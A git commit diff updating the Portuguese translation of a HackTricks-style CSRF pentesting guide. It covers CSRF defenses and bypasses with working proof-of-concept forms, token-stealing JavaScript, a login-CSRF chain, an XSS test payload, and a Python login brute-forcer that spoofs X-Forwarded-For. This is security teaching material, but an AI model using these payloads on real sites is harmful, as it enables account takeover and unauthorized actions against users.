mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']
This commit is contained in:
parent
ddbaaf03c2
commit
ed88fa77b3
@ -487,6 +487,7 @@
|
||||
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
|
||||
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
||||
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
||||
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
||||
|
@ -4,49 +4,56 @@
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima por meio de métodos como executar JavaScript, submeter formulários ou carregar imagens.
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Permite que atacantes realizem ações em nome de usuários desprevenidos explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima através de métodos como execução de JavaScript, submissão de forms ou carregamento de imagens.
|
||||
|
||||
### Prerequisites for a CSRF Attack
|
||||
|
||||
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
||||
|
||||
1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, o email ou elevar privilégios.
|
||||
2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente através de cookies ou do HTTP Basic Authentication header, pois outros headers não podem ser manipulados para esse propósito.
|
||||
1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, email ou elevar privilégios.
|
||||
2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente por cookies ou pelo cabeçalho HTTP Basic Authentication, já que outros cabeçalhos não podem ser manipulados para esse propósito.
|
||||
3. **Absence of Unpredictable Parameters**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||
|
||||
### Quick Check
|
||||
|
||||
Você pode **capturar a requisição no Burp** e checar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição:
|
||||
Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
|
||||
Diversas contramedidas podem ser implementadas para proteger contra ataques CSRF:
|
||||
Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o navegador envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer leitura da resposta do site da vítima. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Verificação do usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
||||
- **Verificar os cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições vêm de fontes confiáveis. Entretanto, a construção cuidadosa de URLs pode contornar verificações mal implementadas, por exemplo:
|
||||
- Usando `http://mal.net?orig=http://example.com` (a URL termina com a URL confiável)
|
||||
- Usando `http://example.com.mal.net` (a URL começa com a URL confiável)
|
||||
- **Modificar nomes de parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
- **CSRF Tokens**: Incorporar um CSRF token único em cada sessão e exigir esse token nas requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada aplicando CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o browser envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer ler a resposta do site vítima. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
||||
- **Checking Referrer or Origin Headers**: Validar esses cabeçalhos pode ajudar a garantir que as requisições venham de fontes confiáveis. Entretanto, craftings cuidadosos de URLs podem contornar checagens mal implementadas, tais como:
|
||||
- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
|
||||
- Usar `http://example.com.mal.net` (URL começa com a URL confiável)
|
||||
- **Modifying Parameter Names**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
- **CSRF Tokens**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A efetividade do token pode ser aumentada aplicando CORS.
|
||||
|
||||
Entender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
|
||||
Entender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web.
|
||||
|
||||
#### Common pitfalls of defenses
|
||||
|
||||
- SameSite pitfalls: `SameSite=Lax` ainda permite navegações top-level cross-site como links e form GETs, então muitos CSRFs baseados em GET permanecem possíveis. Veja a matriz de cookies em [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- Header checks: Valide `Origin` quando presente; se ambos `Origin` e `Referer` estiverem ausentes, falhe fechado. Não confie em correspondências por substring/regex de `Referer` que podem ser contornadas com domínios parecidos ou URLs craftadas, e note o truque de supressão `meta name="referrer" content="never"`.
|
||||
- Method overrides: Trate métodos sobrescritos (`_method` ou override headers) como alteração de estado e aplique CSRF no método efetivo, não apenas no POST.
|
||||
- Login flows: Aplique proteções CSRF também ao login; caso contrário, login CSRF permite reautenticação forçada em contas controladas pelo atacante, que pode ser encadeada com stored XSS.
|
||||
|
||||
## Defences Bypass
|
||||
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Algumas aplicações aplicam validação CSRF apenas em POST enquanto a ignoram para outros verbs. Um anti-pattern comum em PHP se parece com:
|
||||
Algumas aplicações só aplicam validação CSRF no POST enquanto a pulam para outros verbs. Um anti-pattern comum em PHP se parece com:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação POST-only em uma ação GET que tem sucesso sem um token.
|
||||
Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação que deveria ser apenas POST em uma ação GET que tem sucesso sem um token.
|
||||
|
||||
Exemplo:
|
||||
|
||||
@ -65,48 +72,88 @@ __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerr
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Notas:
|
||||
- Esse padrão aparece frequentemente junto com reflected XSS quando as respostas são servidas incorretamente como text/html em vez de application/json.
|
||||
- Combinar isso com XSS reduz muito as barreiras de exploração porque você pode entregar um único link GET que tanto aciona o caminho de código vulnerável quanto evita completamente as checagens CSRF.
|
||||
Notes:
|
||||
- Esse padrão aparece frequentemente junto com reflected XSS quando respostas são servidas incorretamente como text/html em vez de application/json.
|
||||
- Combiná-lo com XSS reduz muito as barreiras de exploração porque você pode entregar um único GET link que tanto dispara o caminho de código vulnerável quanto evita completamente as verificações CSRF.
|
||||
|
||||
### Falta de token
|
||||
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Um atacante pode explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e conduzir um Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for totalmente ignorada quando o token está ausente. Atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e realizar um Cross-Site Request Forgery (CSRF) com eficácia.
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
Além disso, algumas implementações apenas verificam que o parâmetro existe mas não validam seu conteúdo, então um **valor de token vazio é aceito**. Nesse caso, simplesmente enviar a requisição com `csrf=` é suficiente:
|
||||
```http
|
||||
POST /admin/users/role HTTP/2
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
Aplicações que **não vinculam tokens CSRF às sessões dos usuários** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra uma **pool global** em vez de garantir que cada token esteja ligado à sessão que o originou.
|
||||
username=guest&role=admin&csrf=
|
||||
```
|
||||
PoC mínimo de auto-submissão (ocultando a navegação com history.pushState):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://example.com/admin/users/role" method="POST">
|
||||
<input type="hidden" name="username" value="guest" />
|
||||
<input type="hidden" name="role" value="admin" />
|
||||
<input type="hidden" name="csrf" value="" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### CSRF token não está vinculado à sessão do usuário
|
||||
|
||||
Veja como atacantes exploram isso:
|
||||
Aplicações **que não vinculam CSRF tokens às sessões do usuário** representam um **risco de segurança** significativo. Esses sistemas verificam tokens contra um **pool global** em vez de garantir que cada token esteja ligado à sessão que o iniciou.
|
||||
|
||||
1. **Autenticar** usando sua própria conta.
|
||||
2. **Obter um token CSRF válido** da pool global.
|
||||
3. **Usar esse token** em um ataque CSRF contra a vítima.
|
||||
Eis como atacantes exploram isso:
|
||||
|
||||
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo inadequado de validação de tokens** da aplicação.
|
||||
1. **Autenticar-se** usando a própria conta.
|
||||
2. **Obter um CSRF token válido** do pool global.
|
||||
3. **Usar esse token** em um ataque CSRF contra uma vítima.
|
||||
|
||||
### Method bypass
|
||||
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
|
||||
|
||||
Se a requisição estiver usando um **método "estranho"**, verifique se a **funcionalidade de override de método** está funcionando. Por exemplo, se estiver **usando um PUT** você pode tentar **usar um POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
### Bypass de método
|
||||
|
||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **headers**:
|
||||
Se a requisição estiver usando um **método "estranho"**, verifique se a funcionalidade de **method override** está funcionando. Por exemplo, se estiver usando um método **PUT/DELETE/PATCH** você pode tentar usar **POST** e enviar um override, ex.: `https://example.com/my/dear/api/val/num?_method=PUT`.
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
Isso também pode funcionar enviando o **parâmetro `_method` dentro do corpo de um POST** ou usando cabeçalhos de override:
|
||||
|
||||
- `X-HTTP-Method`
|
||||
- `X-HTTP-Method-Override`
|
||||
- `X-Method-Override`
|
||||
|
||||
Comum em frameworks como **Laravel**, **Symfony**, **Express** e outros. Desenvolvedores às vezes pulam CSRF em verbos não-POST assumindo que navegadores não podem emiti-los; com overrides, você ainda pode alcançar esses handlers via POST.
|
||||
|
||||
Exemplo de requisição e PoC HTML:
|
||||
```http
|
||||
POST /users/delete HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=admin&_method=DELETE
|
||||
```
|
||||
|
||||
```html
|
||||
<form method="POST" action="/users/delete">
|
||||
<input name="username" value="admin">
|
||||
<input type="hidden" name="_method" value="DELETE">
|
||||
<button type="submit">Delete User</button>
|
||||
</form>
|
||||
```
|
||||
### Custom header token bypass
|
||||
|
||||
Se a requisição estiver adicionando um **header customizado** com um **token** como **método de proteção CSRF**, então:
|
||||
Se a requisição estiver adicionando um **custom header** com um **token** na solicitação como **CSRF protection method**, então:
|
||||
|
||||
- Teste a requisição sem o **Token Customizado e também sem o header.**
|
||||
- Teste a requisição com um token diferente, de **mesmo comprimento**.
|
||||
- Teste a requisição sem o **Customized Token and also header.**
|
||||
- Teste a requisição com exatamente **same length but different token**.
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um parâmetro de requisição, ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições checando se o token no parâmetro da requisição coincide com o valor do cookie.
|
||||
Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um request parameter, ou definindo um CSRF cookie e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida as requisições verificando se o token no request parameter corresponde ao valor no cookie.
|
||||
|
||||
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida de iniciar o ataque CSRF.
|
||||
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um CSRF cookie no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida do início do ataque CSRF.
|
||||
|
||||
Abaixo está um exemplo de como um ataque pode ser estruturado:
|
||||
```html
|
||||
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Observe que se o **csrf token estiver relacionado com a session cookie este ataque não funcionará** porque você precisará definir para a vítima a sua session, e portanto estará atacando a si mesmo.
|
||||
> Note que se o **csrf token estiver relacionado com o session cookie este ataque não funcionará** porque você terá que definir a sessão da vítima para a sua, e portanto estará atacando a si mesmo.
|
||||
|
||||
### Alteração do Content-Type
|
||||
|
||||
De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **avoid preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos:
|
||||
De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** usado então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
No entanto, note que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado então você deve testar os valores mencionados e outros like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Exemplo (de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain:
|
||||
Exemplo (a partir de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -166,19 +213,19 @@ form.submit()
|
||||
|
||||
Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||
|
||||
1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||
2. **Modify Content Type**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`.
|
||||
3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar essas restrições. Para um entendimento mais aprofundado dessa técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||
2. **Modify Content Type**: Para evitar uma requisição preflight ao mesmo tempo que garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isto não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`.
|
||||
3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF/Flash para contornar tais restrições. Para um entendimento aprofundado desta técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Contorno da verificação Referrer / Origin
|
||||
### Contorno da verificação de Referrer / Origin
|
||||
|
||||
**Evitar o cabeçalho Referrer**
|
||||
|
||||
Aplicações podem validar o 'Referer' header apenas quando ele está presente. Para impedir que o navegador envie esse header, a seguinte meta tag HTML pode ser usada:
|
||||
Aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para impedir que o navegador envie esse cabeçalho, a seguinte meta tag HTML pode ser usada:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
||||
Isto garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
@ -187,7 +234,7 @@ Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Para definir o nome de domínio do servidor no URL que o Referrer vai enviar dentro dos parâmetros você pode fazer:
|
||||
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -216,17 +263,52 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Bypass do método HEAD**
|
||||
### **HEAD method bypass**
|
||||
|
||||
A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router, está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lide com requisições HEAD, elas são simplesmente entregues ao manipulador GET, mas a aplicação apenas remove o corpo da resposta.
|
||||
A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um handler específico que trata HEAD reqs, elas são simplesmente **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
|
||||
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **send a HEAD request that will be processed as a GET request**.
|
||||
|
||||
## **Exemplos de Exploração**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **Exfiltrando token CSRF**
|
||||
### Stored CSRF via user-generated HTML
|
||||
|
||||
Se um **CSRF token** está sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Quando editores rich-text ou injeção de HTML são permitidos, você pode persistir um fetch passivo que aciona um endpoint GET vulnerável. Qualquer usuário que visualizar o conteúdo realizará automaticamente a requisição com seus cookies.
|
||||
|
||||
- Se a app usa um global CSRF token que não está vinculado à sessão do usuário, o mesmo token pode funcionar para todos os usuários, tornando stored CSRF confiável entre vítimas.
|
||||
|
||||
Minimal example that changes the viewer’s email when loaded:
|
||||
```html
|
||||
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
|
||||
```
|
||||
### Login CSRF encadeado com stored XSS
|
||||
|
||||
Login CSRF por si só pode ter baixo impacto, mas encadeá-lo com um stored XSS executado em contexto autenticado torna-se poderoso: forçar a vítima a autenticar-se em uma conta controlada pelo atacante; uma vez nesse contexto, um stored XSS em uma página autenticada é executado e pode roubar tokens, hijack the session, ou escalar privilégios.
|
||||
|
||||
- Certifique-se de que o login endpoint seja CSRF-able (sem per-session token ou origin check) e que não existam user interaction gates que o bloqueiem.
|
||||
- Após o login forçado, navegue automaticamente até uma página que contenha o payload de stored XSS do atacante.
|
||||
|
||||
Minimal login-CSRF PoC:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://example.com/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker@example.com" />
|
||||
<input type="hidden" name="password" value="StrongPass123!" />
|
||||
<input type="submit" value="Login" />
|
||||
</form>
|
||||
<script>
|
||||
history.pushState('', '', '/');
|
||||
document.forms[0].submit();
|
||||
// Optionally redirect to a page with stored XSS in the attacker account
|
||||
// location = 'https://example.com/app/inbox';
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Exfiltrando CSRF Token**
|
||||
|
||||
Se um **CSRF token** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET usando tags HTML**
|
||||
```xml
|
||||
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Requisição POST de formulário através de iframe
|
||||
### Requisição POST de Form através de iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -361,7 +443,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### Requisição POST multipart/form-data
|
||||
### requisição POST multipart/form-data
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### multipart/form-data POST requisição v2
|
||||
### requisição POST multipart/form-data v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Requisição POST de formulário dentro de um iframe
|
||||
### Requisição POST de um formulário dentro de um iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Roubar CSRF Token e enviar uma requisição POST**
|
||||
### **Roubar CSRF Token e enviar um POST request**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Roubar CSRF Token e enviar uma requisição Post usando um iframe, um form e Ajax**
|
||||
### **Roubar o CSRF Token e enviar uma requisição POST usando um iframe, um form e Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -501,7 +583,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Roubar CSRF Token e enviar uma POST request usando um iframe e um form**
|
||||
### **Roubar CSRF Token e enviar um POST request usando um iframe e um form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTSteal CSRF token com Ajax e enviar um post com um form**
|
||||
### **POSTSteal CSRF token com Ajax e enviar um POST com um form**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -617,7 +699,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
O código pode ser usado para Brut Force um formulário de login usando um CSRF token (também está usando o header X-Forwarded-For para tentar contornar um possível IP blacklisting):
|
||||
O código pode ser usado para Brut Force um formulário de login usando um token CSRF (Também está usando o header X-Forwarded-For para tentar contornar um possível bloqueio por IP):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -665,6 +747,7 @@ login(USER, line.strip())
|
||||
|
||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
|
||||
|
||||
## Referências
|
||||
|
||||
@ -673,5 +756,11 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [Guia definitivo para vulnerabilidades CSRF (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
|
||||
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
|
||||
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
|
||||
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
|
||||
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
|
||||
- [YesWeHack Dojo: Laboratórios práticos](https://dojo-yeswehack.com/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user